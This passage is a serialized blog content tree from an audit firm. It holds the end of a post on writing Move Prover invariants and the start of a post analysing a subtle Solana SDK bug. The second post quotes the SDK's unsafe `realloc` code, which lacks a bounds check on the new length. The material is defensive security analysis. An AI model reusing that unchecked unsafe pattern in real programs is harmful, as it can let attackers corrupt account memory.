"type":24,"tag":83,"props":12670,"children":12671},{"style":107},[12672],{"type":29,"value":7358},{"type":24,"tag":83,"props":12674,"children":12675},{"style":137},[12676],{"type":29,"value":12640},{"type":24,"tag":83,"props":12678,"children":12679},{"style":107},[12680],{"type":29,"value":12681},", signer",{"type":24,"tag":83,"props":12683,"children":12684},{"style":143},[12685],{"type":29,"value":3226},{"type":24,"tag":83,"props":12687,"children":12688},{"style":101},[12689],{"type":29,"value":6956},{"type":24,"tag":83,"props":12691,"children":12692},{"style":107},[12693],{"type":29,"value":558},{"type":24,"tag":83,"props":12695,"children":12696},{"style":137},[12697],{"type":29,"value":12698},"account",{"type":24,"tag":83,"props":12700,"children":12701},{"style":107},[12702],{"type":29,"value":6970},{"type":24,"tag":83,"props":12704,"children":12705},{"class":85,"line":256},[12706,12710,12714,12718,12722,12726,12730,12734,12738,12742],{"type":24,"tag":83,"props":12707,"children":12708},{"style":137},[12709],{"type":29,"value":7932},{"type":24,"tag":83,"props":12711,"children":12712},{"style":143},[12713],{"type":29,"value":12609},{"type":24,"tag":83,"props":12715,"children":12716},{"style":137},[12717],{"type":29,"value":6451},{"type":24,"tag":83,"props":12719,"children":12720},{"style":107},[12721],{"type":29,"value":5552},{"type":24,"tag":83,"props":12723,"children":12724},{"style":3163},[12725],{"type":29,"value":12622},{"type":24,"tag":83,"props":12727,"children":12728},{"style":107},[12729],{"type":29,"value":5552},{"type":24,"tag":83,"props":12731,"children":12732},{"style":3163},[12733],{"type":29,"value":12631},{"type":24,"tag":83,"props":12735,"children":12736},{"style":107},[12737],{"type":29,"value":6473},{"type":24,"tag":83,"props":12739,"children":12740},{"style":137},[12741],{"type":29,"value":12640},{"type":24,"tag":83,"props":12743,"children":12744},{"style":107},[12745],{"type":29,"value":581},{"type":24,"tag":83,"props":12747,"children":12748},{"class":85,"line":270},[12749,12753,12757,12761,12766,12770,12775,12779,12783,12787,12791,12795,12799,12803,12807],{"type":24,"tag":83,"props":12750,"children":12751},{"style":137},[12752],{"type":29,"value":7932},{"type":24,"tag":83,"props":12754,"children":12755},{"style":137},[12756],{"type":29,"value":8906},{"type":24,"tag":83,"props":12758,"children":12759},{"style":143},[12760],{"type":29,"value":3028},{"type":24,"tag":83,"props":12762,"children":12763},{"style":101},[12764],{"type":29,"value":12765}," old",{"type":24,"tag":83,"props":12767,"children":12768},{"style":107},[12769],{"type":29,"value":558},{"type":24,"tag":83,"props":12771,"children":12772},{"style":137},[12773],{"type":29,"value":12774},"global",{"type":24,"tag":83,"props":12776,"children":12777},{"style":107},[12778],{"type":29,"value":5552},{"type":24,"tag":83,"props":12780,"children":12781},{"style":3163},[12782],{"type":29,"value":12622},{"type":24,"tag":83,"props":12784,"children":12785},{"style":107},[12786],{"type":29,"value":5552},{"type":24,"tag":83,"props":12788,"children":12789},{"style":3163},[12790],{"type":29,"value":12631},{"type":24,"tag":83,"props":12792,"children":12793},{"style":107},[12794],{"type":29,"value":6473},{"type":24,"tag":83,"props":12796,"children":12797},{"style":137},[12798],{"type":29,"value":12640},{"type":24,"tag":83,"props":12800,"children":12801},{"style":107},[12802],{"type":29,"value":2872},{"type":24,"tag":83,"props":12804,"children":12805},{"style":143},[12806],{"type":29,"value":161},{"type":24,"tag":83,"props":12808,"children":12809},{"style":107},[12810],{"type":29,"value":12811},"offered);\n",{"type":24,"tag":83,"props":12813,"children":12814},{"class":85,"line":302},[12815],{"type":24,"tag":83,"props":12816,"children":12817},{"style":107},[12818],{"type":29,"value":446},{"type":24,"tag":25,"props":12820,"children":12821},{},[12822],{"type":29,"value":12823},"These access control specifications make it impossible to accidentally remove security critical access control policies later.",{"type":24,"tag":1818,"props":12825,"children":12827},{"id":12826},"complex-mathematical-formulae",[12828],{"type":29,"value":12829},"Complex Mathematical Formulae",{"type":24,"tag":25,"props":12831,"children":12832},{},[12833,12835,12840],{"type":29,"value":12834},"Whether it's a decimal implementation or more complex data structures, it's often useful to verify that the expected output is ",{"type":24,"tag":2655,"props":12836,"children":12837},{},[12838],{"type":29,"value":12839},"always",{"type":29,"value":12841}," the output.",{"type":24,"tag":25,"props":12843,"children":12844},{},[12845],{"type":29,"value":12846},"Proving that your fundamental data structures work exactly as intended will give you much more confidence in the remainder of your codebase.",{"type":24,"tag":25,"props":12848,"children":12849},{},[12850,12852,12859],{"type":29,"value":12851},"For example, in our work with ",{"type":24,"tag":2033,"props":12853,"children":12856},{"href":12854,"rel":12855},"https://laminar.markets/",[2037],[12857],{"type":29,"value":12858},"Laminar Markets",{"type":29,"value":12860},", we provided recommendations for verifying their internal splay tree implementation against a simpler priority queue data structure.",{"type":24,"tag":1818,"props":12862,"children":12864},{"id":12863},"data-invariants",[12865],{"type":29,"value":12866},"Data Invariants",{"type":24,"tag":25,"props":12868,"children":12869},{},[12870,12872,12878,12880,12886,12888,12894,12896,12902],{"type":29,"value":12871},"Formal verification provides the best environment to verify that certain ",{"type":24,"tag":32,"props":12873,"children":12875},{"className":12874},[],[12876],{"type":29,"value":12877},"variables",{"type":29,"value":12879}," or ",{"type":24,"tag":32,"props":12881,"children":12883},{"className":12882},[],[12884],{"type":29,"value":12885},"resources",{"type":29,"value":12887}," don't exceed the intended boundaries. Let's consider the struct from below. We can ensure that ",{"type":24,"tag":32,"props":12889,"children":12891},{"className":12890},[],[12892],{"type":29,"value":12893},"index",{"type":29,"value":12895}," is never greater than 4 using a ",{"type":24,"tag":32,"props":12897,"children":12899},{"className":12898},[],[12900],{"type":29,"value":12901},"struct invariant",{"type":29,"value":161},{"type":24,"tag":73,"props":12904,"children":12906},{"code":12905,"language":2724,"meta":7,"className":2725,"style":7},"struct Type {\n    index: u64\n}\n\nspec Type {\n    invariant index \u003C 4;\n}\n",[12907],{"type":24,"tag":32,"props":12908,"children":12909},{"__ignoreMap":7},[12910,12926,12943,12950,12957,12972,12996],{"type":24,"tag":83,"props":12911,"children":12912},{"class":85,"line":86},[12913,12917,12922],{"type":24,"tag":83,"props":12914,"children":12915},{"style":90},[12916],{"type":29,"value":9148},{"type":24,"tag":83,"props":12918,"children":12919},{"style":3163},[12920],{"type":29,"value":12921}," Type",{"type":24,"tag":83,"props":12923,"children":12924},{"style":107},[12925],{"type":29,"value":125},{"type":24,"tag":83,"props":12927,"children":12928},{"class":85,"line":113},[12929,12934,12938],{"type":24,"tag":83,"props":12930,"children":12931},{"style":137},[12932],{"type":29,"value":12933},"    index",{"type":24,"tag":83,"props":12935,"children":12936},{"style":143},[12937],{"type":29,"value":195},{"type":24,"tag":83,"props":12939,"children":12940},{"style":3163},[12941],{"type":29,"value":12942}," u64\n",{"type":24,"tag":83,"props":12944,"children":12945},{"class":85,"line":128},[12946],{"type":24,"tag":83,"props":12947,"children":12948},{"style":107},[12949],{"type":29,"value":464},{"type":24,"tag":83,"props":12951,"children":12952},{"class":85,"line":183},[12953],{"type":24,"tag":83,"props":12954,"children":12955},{"emptyLinePlaceholder":16},[12956],{"type":29,"value":3422},{"type":24,"tag":83,"props":12958,"children":12959},{"class":85,"line":203},[12960,12964,12968],{"type":24,"tag":83,"props":12961,"children":12962},{"style":137},[12963],{"type":29,"value":8020},{"type":24,"tag":83,"props":12965,"children":12966},{"style":3163},[12967],{"type":29,"value":12921},{"type":24,"tag":83,"props":12969,"children":12970},{"style":107},[12971],{"type":29,"value":125},{"type":24,"tag":83,"props":12973,"children":12974},{"class":85,"line":212},[12975,12979,12984,12988,12992],{"type":24,"tag":83,"props":12976,"children":12977},{"style":137},[12978],{"type":29,"value":8037},{"type":24,"tag":83,"props":12980,"children":12981},{"style":137},[12982],{"type":29,"value":12983}," index",{"type":24,"tag":83,"props":12985,"children":12986},{"style":143},[12987],{"type":29,"value":8463},{"type":24,"tag":83,"props":12989,"children":12990},{"style":245},[12991],{"type":29,"value":11493},{"type":24,"tag":83,"props":12993,"children":12994},{"style":107},[12995],{"type":29,"value":321},{"type":24,"tag":83,"props":12997,"children":12998},{"class":85,"line":256},[12999],{"type":24,"tag":83,"props":13000,"children":13001},{"style":107},[13002],{"type":29,"value":464},{"type":24,"tag":25,"props":13004,"children":13005},{},[13006,13008,13015,13016,13022],{"type":29,"value":13007},"We were able to verify more complex properties in our recent audits for ",{"type":24,"tag":2033,"props":13009,"children":13012},{"href":13010,"rel":13011},"https://layerzero.network/",[2037],[13013],{"type":29,"value":13014},"LayerZero",{"type":29,"value":2287},{"type":24,"tag":2033,"props":13017,"children":13020},{"href":13018,"rel":13019},"http://ariesmarkets.xyz/",[2037],[13021],{"type":29,"value":6537},{"type":29,"value":13023},", but the details are left as an exercise to the reader.",{"type":24,"tag":1818,"props":13025,"children":13027},{"id":13026},"economic-invariants",[13028],{"type":29,"value":13029},"Economic Invariants.",{"type":24,"tag":25,"props":13031,"children":13032},{},[13033],{"type":29,"value":13034},"Proper economic invariants can require more creativity to come up with but can be extremely effective at securing your protocol.",{"type":24,"tag":25,"props":13036,"children":13037},{},[13038],{"type":29,"value":13039},"For example, you should never be able to drain coins from a pool by adding and removing shares. In practice, you might implement this as a utility helper function.",{"type":24,"tag":73,"props":13041,"children":13042},{"code":7714,"language":2724,"meta":7,"className":2725,"style":7},[13043],{"type":24,"tag":32,"props":13044,"children":13045},{"__ignoreMap":7},[13046,13053,13136,13175,13194,13201,13216,13239,13262,13285],{"type":24,"tag":83,"props":13047,"children":13048},{"class":85,"line":86},[13049],{"type":24,"tag":83,"props":13050,"children":13051},{"style":2735},[13052],{"type":29,"value":7726},{"type":24,"tag":83,"props":13054,"children":13055},{"class":85,"line":113},[13056,13060,13064,13068,13072,13076,13080,13084,13088,13092,13096,13100,13104,13108,13112,13116,13120,13124,13128,13132],{"type":24,"tag":83,"props":13057,"children":13058},{"style":137},[13059],{"type":29,"value":6316},{"type":24,"tag":83,"props":13061,"children":13062},{"style":101},[13063],{"type":29,"value":7738},{"type":24,"tag":83,"props":13065,"children":13066},{"style":107},[13067],{"type":29,"value":558},{"type":24,"tag":83,"props":13069,"children":13070},{"style":137},[13071],{"type":29,"value":7747},{"type":24,"tag":83,"props":13073,"children":13074},{"style":143},[13075],{"type":29,"value":195},{"type":24,"tag":83,"props":13077,"children":13078},{"style":3163},[13079],{"type":29,"value":5606},{"type":24,"tag":83,"props":13081,"children":13082},{"style":107},[13083],{"type":29,"value":568},{"type":24,"tag":83,"props":13085,"children":13086},{"style":137},[13087],{"type":29,"value":7764},{"type":24,"tag":83,"props":13089,"children":13090},{"style":143},[13091],{"type":29,"value":195},{"type":24,"tag":83,"props":13093,"children":13094},{"style":3163},[13095],{"type":29,"value":5606},{"type":24,"tag":83,"props":13097,"children":13098},{"style":107},[13099],{"type":29,"value":2872},{"type":24,"tag":83,"props":13101,"children":13102},{"style":143},[13103],{"type":29,"value":195},{"type":24,"tag":83,"props":13105,"children":13106},{"style":107},[13107],{"type":29,"value":223},{"type":24,"tag":83,"props":13109,"children":13110},{"style":3163},[13111],{"type":29,"value":7789},{"type":24,"tag":83,"props":13113,"children":13114},{"style":107},[13115],{"type":29,"value":568},{"type":24,"tag":83,"props":13117,"children":13118},{"style":3163},[13119],{"type":29,"value":7789},{"type":24,"tag":83,"props":13121,"children":13122},{"style":107},[13123],{"type":29,"value":633},{"type":24,"tag":83,"props":13125,"children":13126},{"style":137},[13127],{"type":29,"value":6090},{"type":24,"tag":83,"props":13129,"children":13130},{"style":3163},[13131],{"type":29,"value":7810},{"type":24,"tag":83,"props":13133,"children":13134},{"style":107},[13135],{"type":29,"value":125},{"type":24,"tag":83,"props":13137,"children":13138},{"class":85,"line":128},[13139,13143,13147,13151,13155,13159,13163,13167,13171],{"type":24,"tag":83,"props":13140,"children":13141},{"style":90},[13142],{"type":29,"value":1481},{"type":24,"tag":83,"props":13144,"children":13145},{"style":137},[13146],{"type":29,"value":7826},{"type":24,"tag":83,"props":13148,"children":13149},{"style":143},[13150],{"type":29,"value":146},{"type":24,"tag":83,"props":13152,"children":13153},{"style":101},[13154],{"type":29,"value":7835},{"type":24,"tag":83,"props":13156,"children":13157},{"style":107},[13158],{"type":29,"value":558},{"type":24,"tag":83,"props":13160,"children":13161},{"style":137},[13162],{"type":29,"value":7747},{"type":24,"tag":83,"props":13164,"children":13165},{"style":107},[13166],{"type":29,"value":568},{"type":24,"tag":83,"props":13168,"children":13169},{"style":137},[13170],{"type":29,"value":7764},{"type":24,"tag":83,"props":13172,"children":13173},{"style":107},[13174],{"type":29,"value":581},{"type":24,"tag":83,"props":13176,"children":13177},{"class":85,"line":183},[13178,13182,13186,13190],{"type":24,"tag":83,"props":13179,"children":13180},{"style":101},[13181],{"type":29,"value":7863},{"type":24,"tag":83,"props":13183,"children":13184},{"style":107},[13185],{"type":29,"value":558},{"type":24,"tag":83,"props":13187,"children":13188},{"style":137},[13189],{"type":29,"value":7872},{"type":24,"tag":83,"props":13191,"children":13192},{"style":107},[13193],{"type":29,"value":2905},{"type":24,"tag":83,"props":13195,"children":13196},{"class":85,"line":203},[13197],{"type":24,"tag":83,"props":13198,"children":13199},{"style":107},[13200],{"type":29,"value":455},{"type":24,"tag":83,"props":13202,"children":13203},{"class":85,"line":212},[13204,13208,13212],{"type":24,"tag":83,"props":13205,"children":13206},{"style":137},[13207],{"type":29,"value":7891},{"type":24,"tag":83,"props":13209,"children":13210},{"style":137},[13211],{"type":29,"value":7738},{"type":24,"tag":83,"props":13213,"children":13214},{"style":107},[13215],{"type":29,"value":125},{"type":24,"tag":83,"props":13217,"children":13218},{"class":85,"line":256},[13219,13223,13227,13231,13235],{"type":24,"tag":83,"props":13220,"children":13221},{"style":137},[13222],{"type":29,"value":7907},{"type":24,"tag":83,"props":13224,"children":13225},{"style":137},[13226],{"type":29,"value":7912},{"type":24,"tag":83,"props":13228,"children":13229},{"style":143},[13230],{"type":29,"value":1275},{"type":24,"tag":83,"props":13232,"children":13233},{"style":90},[13234],{"type":29,"value":1617},{"type":24,"tag":83,"props":13236,"children":13237},{"style":107},[13238],{"type":29,"value":321},{"type":24,"tag":83,"props":13240,"children":13241},{"class":85,"line":270},[13242,13246,13250,13254,13258],{"type":24,"tag":83,"props":13243,"children":13244},{"style":137},[13245],{"type":29,"value":7932},{"type":24,"tag":83,"props":13247,"children":13248},{"style":137},[13249],{"type":29,"value":7937},{"type":24,"tag":83,"props":13251,"children":13252},{"style":143},[13253],{"type":29,"value":7942},{"type":24,"tag":83,"props":13255,"children":13256},{"style":137},[13257],{"type":29,"value":7947},{"type":24,"tag":83,"props":13259,"children":13260},{"style":107},[13261],{"type":29,"value":321},{"type":24,"tag":83,"props":13263,"children":13264},{"class":85,"line":302},[13265,13269,13273,13277,13281],{"type":24,"tag":83,"props":13266,"children":13267},{"style":137},[13268],{"type":29,"value":7932},{"type":24,"tag":83,"props":13270,"children":13271},{"style":137},[13272],{"type":29,"value":7963},{"type":24,"tag":83,"props":13274,"children":13275},{"style":143},[13276],{"type":29,"value":7942},{"type":24,"tag":83,"props":13278,"children":13279},{"style":137},[13280],{"type":29,"value":7972},{"type":24,"tag":83,"props":13282,"children":13283},{"style":107},[13284],{"type":29,"value":321},{"type":24,"tag":83,"props":13286,"children":13287},{"class":85,"line":324},[13288],{"type":24,"tag":83,"props":13289,"children":13290},{"style":107},[13291],{"type":29,"value":455},{"type":24,"tag":25,"props":13293,"children":13294},{},[13295],{"type":29,"value":13296},"Some other ideas include",{"type":24,"tag":63,"props":13298,"children":13299},{},[13300,13305,13310],{"type":24,"tag":67,"props":13301,"children":13302},{},[13303],{"type":29,"value":13304},"Swapping through an AMM should never lead to a decrease in one side of the pool without also increasing the other side. In other words, no free money",{"type":24,"tag":67,"props":13306,"children":13307},{},[13308],{"type":29,"value":13309},"Lending protocols should always be fully collateralized after a series of deposit, borrow, and withdraw instructions.",{"type":24,"tag":67,"props":13311,"children":13312},{},[13313],{"type":29,"value":13314},"Orderbooks should never lose money after an order is placed and then canceled.",{"type":24,"tag":51,"props":13316,"children":13317},{"id":5055},[13318],{"type":29,"value":5058},{"type":24,"tag":25,"props":13320,"children":13321},{},[13322],{"type":29,"value":13323},"In this post, we've explored how to properly utilize the Move Prover to verify critical invariants about your codebase.",{"type":24,"tag":25,"props":13325,"children":13326},{},[13327],{"type":29,"value":13328},"In our upcoming posts, we will explore how to turn the Move Prover into a weapon for squashing security vulnerabilities by learning how to ask the right questions, so stay tuned!",{"type":24,"tag":25,"props":13330,"children":13331},{},[13332,13334,13339],{"type":29,"value":13333},"We're passionate about formal verification and pushing the edge of what's possible in Move security. If you have any thoughts, or would like to explore an audit, feel free to reach out to me ",{"type":24,"tag":2033,"props":13335,"children":13337},{"href":8988,"rel":13336},[2037],[13338],{"type":29,"value":8992},{"type":29,"value":161},{"type":24,"tag":2584,"props":13341,"children":13342},{},[13343],{"type":29,"value":2588},{"title":7,"searchDepth":113,"depth":113,"links":13345},[13346,13347,13350,13357],{"id":9052,"depth":113,"text":9055},{"id":9106,"depth":113,"text":9109,"children":13348},[13349],{"id":9356,"depth":128,"text":9352},{"id":12255,"depth":113,"text":12258,"children":13351},[13352,13353,13354,13355,13356],{"id":12271,"depth":128,"text":12274},{"id":12521,"depth":128,"text":12524},{"id":12826,"depth":128,"text":12829},{"id":12863,"depth":128,"text":12866},{"id":13026,"depth":128,"text":13029},{"id":5055,"depth":113,"text":5058},"content:blog:2022-09-16-move-prover.md","blog/2022-09-16-move-prover.md","blog/2022-09-16-move-prover",{"_path":13362,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":13363,"description":13364,"author":13365,"image":13366,"date":13369,"isFeatured":16,"onBlogPage":16,"tags":13370,"body":13371,"_type":2606,"_id":18480,"_source":2608,"_file":18481,"_stem":18482,"_extension":2611},"/blog/2022-12-09-rust-realloc-and-references","Rust, Realloc, and References","Rust is safe.. right? Not if your dependencies are unsafe.. A deep dive into a subtle Solana SDK bug, Rust internals, and how we found it all.","ethan",{"src":13367,"height":13368,"width":15},"/posts/rust-realloc-and-references/title.jpg",512,"2022-12-09",[2624,9016],{"type":21,"children":13372,"toc":18464},[13373,13401,13421,14089,14109,14120,14132,14265,14275,14281,14307,14647,14692,15017,15079,15092,15165,15233,15254,15267,15281,15626,15637,15642,15773,15824,15850,15862,16035,16170,16211,16248,16313,16318,16356,16410,16421,16565,16577,16583,16589,16622,16636,16758,16777,16805,16811,16901,16992,16998,17003,17050,17319,17394,17405,17431,17763,17775,17848,18121,18158,18460],{"type":24,"tag":25,"props":13374,"children":13375},{},[13376,13378,13384,13386,13391,13393,13399],{"type":29,"value":13377},"It all started with an audit of a program that used ",{"type":24,"tag":32,"props":13379,"children":13381},{"className":13380},[],[13382],{"type":29,"value":13383},"realloc",{"type":29,"value":13385}," on an account, without any bounds checks on the new size allowed. It seemed like the developers assumed that if the new size was too large, the ",{"type":24,"tag":32,"props":13387,"children":13389},{"className":13388},[],[13390],{"type":29,"value":13383},{"type":29,"value":13392}," call (from ",{"type":24,"tag":32,"props":13394,"children":13396},{"className":13395},[],[13397],{"type":29,"value":13398},"solana_program",{"type":29,"value":13400},") would error out appropriately.",{"type":24,"tag":25,"props":13402,"children":13403},{},[13404,13406,13412,13413,13420],{"type":29,"value":13405},"But we're not ones to just assume things around here, so let's take a look at how ",{"type":24,"tag":32,"props":13407,"children":13409},{"className":13408},[],[13410],{"type":29,"value":13411},"AccountInfo::realloc",{"type":29,"value":5246},{"type":24,"tag":2033,"props":13414,"children":13417},{"href":13415,"rel":13416},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#124-148",[2037],[13418],{"type":29,"value":13419},"implemented",{"type":29,"value":195},{"type":24,"tag":73,"props":13422,"children":13424},{"className":2725,"code":13423,"language":2724,"meta":7,"style":7},"pub fn realloc(&self, new_len: usize, zero_init: bool) -> Result\u003C(), ProgramError> {\n    let orig_len = self.data_len();\n\n    // realloc\n    unsafe {\n        // First set new length in the serialized data\n        let ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n        *ptr = new_len as u64;\n\n        // Then set the new length in the local slice\n        let ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n        *ptr = new_len as u64;\n    }\n\n    // zero-init if requested\n    if zero_init && new_len > orig_len {\n        sol_memset(\n            &mut self.try_borrow_mut_data()?[orig_len..],\n            0,\n            new_len.saturating_sub(orig_len),\n        );\n    }\n\n    Ok(())\n}\n",[13425],{"type":24,"tag":32,"props":13426,"children":13427},{"__ignoreMap":7},[13428,13522,13556,13563,13571,13583,13591,13683,13716,13723,13731,13861,13892,13899,13906,13914,13946,13958,14007,14019,14048,14055,14062,14069,14082],{"type":24,"tag":83,"props":13429,"children":13430},{"class":85,"line":86},[13431,13436,13441,13446,13450,13454,13459,13463,13468,13472,13477,13481,13486,13490,13494,13498,13503,13508,13513,13518],{"type":24,"tag":83,"props":13432,"children":13433},{"style":90},[13434],{"type":29,"value":13435},"pub",{"type":24,"tag":83,"props":13437,"children":13438},{"style":90},[13439],{"type":29,"value":13440}," fn",{"type":24,"tag":83,"props":13442,"children":13443},{"style":101},[13444],{"type":29,"value":13445}," realloc",{"type":24,"tag":83,"props":13447,"children":13448},{"style":107},[13449],{"type":29,"value":558},{"type":24,"tag":83,"props":13451,"children":13452},{"style":143},[13453],{"type":29,"value":2853},{"type":24,"tag":83,"props":13455,"children":13456},{"style":90},[13457],{"type":29,"value":13458},"self",{"type":24,"tag":83,"props":13460,"children":13461},{"style":107},[13462],{"type":29,"value":568},{"type":24,"tag":83,"props":13464,"children":13465},{"style":137},[13466],{"type":29,"value":13467},"new_len",{"type":24,"tag":83,"props":13469,"children":13470},{"style":143},[13471],{"type":29,"value":195},{"type":24,"tag":83,"props":13473,"children":13474},{"style":3163},[13475],{"type":29,"value":13476}," usize",{"type":24,"tag":83,"props":13478,"children":13479},{"style":107},[13480],{"type":29,"value":568},{"type":24,"tag":83,"props":13482,"children":13483},{"style":137},[13484],{"type":29,"value":13485},"zero_init",{"type":24,"tag":83,"props":13487,"children":13488},{"style":143},[13489],{"type":29,"value":195},{"type":24,"tag":83,"props":13491,"children":13492},{"style":3163},[13493],{"type":29,"value":11797},{"type":24,"tag":83,"props":13495,"children":13496},{"style":107},[13497],{"type":29,"value":633},{"type":24,"tag":83,"props":13499,"children":13500},{"style":143},[13501],{"type":29,"value":13502},"->",{"type":24,"tag":83,"props":13504,"children":13505},{"style":3163},[13506],{"type":29,"value":13507}," Result",{"type":24,"tag":83,"props":13509,"children":13510},{"style":107},[13511],{"type":29,"value":13512},"\u003C(), ",{"type":24,"tag":83,"props":13514,"children":13515},{"style":3163},[13516],{"type":29,"value":13517},"ProgramError",{"type":24,"tag":83,"props":13519,"children":13520},{"style":107},[13521],{"type":29,"value":7028},{"type":24,"tag":83,"props":13523,"children":13524},{"class":85,"line":113},[13525,13529,13534,13538,13543,13547,13552],{"type":24,"tag":83,"props":13526,"children":13527},{"style":90},[13528],{"type":29,"value":2746},{"type":24,"tag":83,"props":13530,"children":13531},{"style":137},[13532],{"type":29,"value":13533}," orig_len",{"type":24,"tag":83,"props":13535,"children":13536},{"style":143},[13537],{"type":29,"value":146},{"type":24,"tag":83,"props":13539,"children":13540},{"style":90},[13541],{"type":29,"value":13542}," self",{"type":24,"tag":83,"props":13544,"children":13545},{"style":143},[13546],{"type":29,"value":161},{"type":24,"tag":83,"props":13548,"children":13549},{"style":101},[13550],{"type":29,"value":13551},"data_len",{"type":24,"tag":83,"props":13553,"children":13554},{"style":107},[13555],{"type":29,"value":267},{"type":24,"tag":83,"props":13557,"children":13558},{"class":85,"line":128},[13559],{"type":24,"tag":83,"props":13560,"children":13561},{"emptyLinePlaceholder":16},[13562],{"type":29,"value":3422},{"type":24,"tag":83,"props":13564,"children":13565},{"class":85,"line":183},[13566],{"type":24,"tag":83,"props":13567,"children":13568},{"style":2735},[13569],{"type":29,"value":13570},"    // realloc\n",{"type":24,"tag":83,"props":13572,"children":13573},{"class":85,"line":203},[13574,13579],{"type":24,"tag":83,"props":13575,"children":13576},{"style":90},[13577],{"type":29,"value":13578},"    unsafe",{"type":24,"tag":83,"props":13580,"children":13581},{"style":107},[13582],{"type":29,"value":125},{"type":24,"tag":83,"props":13584,"children":13585},{"class":85,"line":212},[13586],{"type":24,"tag":83,"props":13587,"children":13588},{"style":2735},[13589],{"type":29,"value":13590},"        // First set new length in the serialized data\n",{"type":24,"tag":83,"props":13592,"children":13593},{"class":85,"line":256},[13594,13598,13603,13607,13611,13615,13620,13625,13629,13634,13638,13642,13647,13651,13655,13659,13663,13667,13671,13675,13679],{"type":24,"tag":83,"props":13595,"children":13596},{"style":90},[13597],{"type":29,"value":2809},{"type":24,"tag":83,"props":13599,"children":13600},{"style":137},[13601],{"type":29,"value":13602}," ptr",{"type":24,"tag":83,"props":13604,"children":13605},{"style":143},[13606],{"type":29,"value":146},{"type":24,"tag":83,"props":13608,"children":13609},{"style":90},[13610],{"type":29,"value":13542},{"type":24,"tag":83,"props":13612,"children":13613},{"style":143},[13614],{"type":29,"value":161},{"type":24,"tag":83,"props":13616,"children":13617},{"style":101},[13618],{"type":29,"value":13619},"try_borrow_mut_data",{"type":24,"tag":83,"props":13621,"children":13622},{"style":107},[13623],{"type":29,"value":13624},"()",{"type":24,"tag":83,"props":13626,"children":13627},{"style":143},[13628],{"type":29,"value":2877},{"type":24,"tag":83,"props":13630,"children":13631},{"style":101},[13632],{"type":29,"value":13633},"as_mut_ptr",{"type":24,"tag":83,"props":13635,"children":13636},{"style":107},[13637],{"type":29,"value":13624},{"type":24,"tag":83,"props":13639,"children":13640},{"style":143},[13641],{"type":29,"value":161},{"type":24,"tag":83,"props":13643,"children":13644},{"style":101},[13645],{"type":29,"value":13646},"offset",{"type":24,"tag":83,"props":13648,"children":13649},{"style":107},[13650],{"type":29,"value":558},{"type":24,"tag":83,"props":13652,"children":13653},{"style":143},[13654],{"type":29,"value":4072},{"type":24,"tag":83,"props":13656,"children":13657},{"style":245},[13658],{"type":29,"value":3819},{"type":24,"tag":83,"props":13660,"children":13661},{"style":107},[13662],{"type":29,"value":633},{"type":24,"tag":83,"props":13664,"children":13665},{"style":90},[13666],{"type":29,"value":8586},{"type":24,"tag":83,"props":13668,"children":13669},{"style":143},[13670],{"type":29,"value":9563},{"type":24,"tag":83,"props":13672,"children":13673},{"style":90},[13674],{"type":29,"value":3468},{"type":24,"tag":83,"props":13676,"children":13677},{"style":3163},[13678],{"type":29,"value":5606},{"type":24,"tag":83,"props":13680,"children":13681},{"style":107},[13682],{"type":29,"value":321},{"type":24,"tag":83,"props":13684,"children":13685},{"class":85,"line":270},[13686,13690,13695,13699,13704,13708,13712],{"type":24,"tag":83,"props":13687,"children":13688},{"style":143},[13689],{"type":29,"value":7499},{"type":24,"tag":83,"props":13691,"children":13692},{"style":137},[13693],{"type":29,"value":13694},"ptr",{"type":24,"tag":83,"props":13696,"children":13697},{"style":143},[13698],{"type":29,"value":146},{"type":24,"tag":83,"props":13700,"children":13701},{"style":137},[13702],{"type":29,"value":13703}," new_len",{"type":24,"tag":83,"props":13705,"children":13706},{"style":90},[13707],{"type":29,"value":8572},{"type":24,"tag":83,"props":13709,"children":13710},{"style":3163},[13711],{"type":29,"value":5606},{"type":24,"tag":83,"props":13713,"children":13714},{"style":107},[13715],{"type":29,"value":321},{"type":24,"tag":83,"props":13717,"children":13718},{"class":85,"line":302},[13719],{"type":24,"tag":83,"props":13720,"children":13721},{"emptyLinePlaceholder":16},[13722],{"type":29,"value":3422},{"type":24,"tag":83,"props":13724,"children":13725},{"class":85,"line":324},[13726],{"type":24,"tag":83,"props":13727,"children":13728},{"style":2735},[13729],{"type":29,"value":13730},"        // Then set the new length in the local slice\n",{"type":24,"tag":83,"props":13732,"children":13733},{"class":85,"line":345},[13734,13738,13742,13746,13750,13754,13758,13763,13767,13771,13775,13779,13784,13789,13793,13797,13801,13805,13809,13813,13817,13821,13825,13829,13833,13837,13841,13845,13849,13853,13857],{"type":24,"tag":83,"props":13735,"children":13736},{"style":90},[13737],{"type":29,"value":2809},{"type":24,"tag":83,"props":13739,"children":13740},{"style":137},[13741],{"type":29,"value":13602},{"type":24,"tag":83,"props":13743,"children":13744},{"style":143},[13745],{"type":29,"value":146},{"type":24,"tag":83,"props":13747,"children":13748},{"style":143},[13749],{"type":29,"value":6888},{"type":24,"tag":83,"props":13751,"children":13752},{"style":90},[13753],{"type":29,"value":3468},{"type":24,"tag":83,"props":13755,"children":13756},{"style":143},[13757],{"type":29,"value":9563},{"type":24,"tag":83,"props":13759,"children":13760},{"style":107},[13761],{"type":29,"value":13762},"(((",{"type":24,"tag":83,"props":13764,"children":13765},{"style":90},[13766],{"type":29,"value":13458},{"type":24,"tag":83,"props":13768,"children":13769},{"style":143},[13770],{"type":29,"value":161},{"type":24,"tag":83,"props":13772,"children":13773},{"style":107},[13774],{"type":29,"value":839},{"type":24,"tag":83,"props":13776,"children":13777},{"style":143},[13778],{"type":29,"value":161},{"type":24,"tag":83,"props":13780,"children":13781},{"style":101},[13782],{"type":29,"value":13783},"as_ptr",{"type":24,"tag":83,"props":13785,"children":13786},{"style":107},[13787],{"type":29,"value":13788},"() 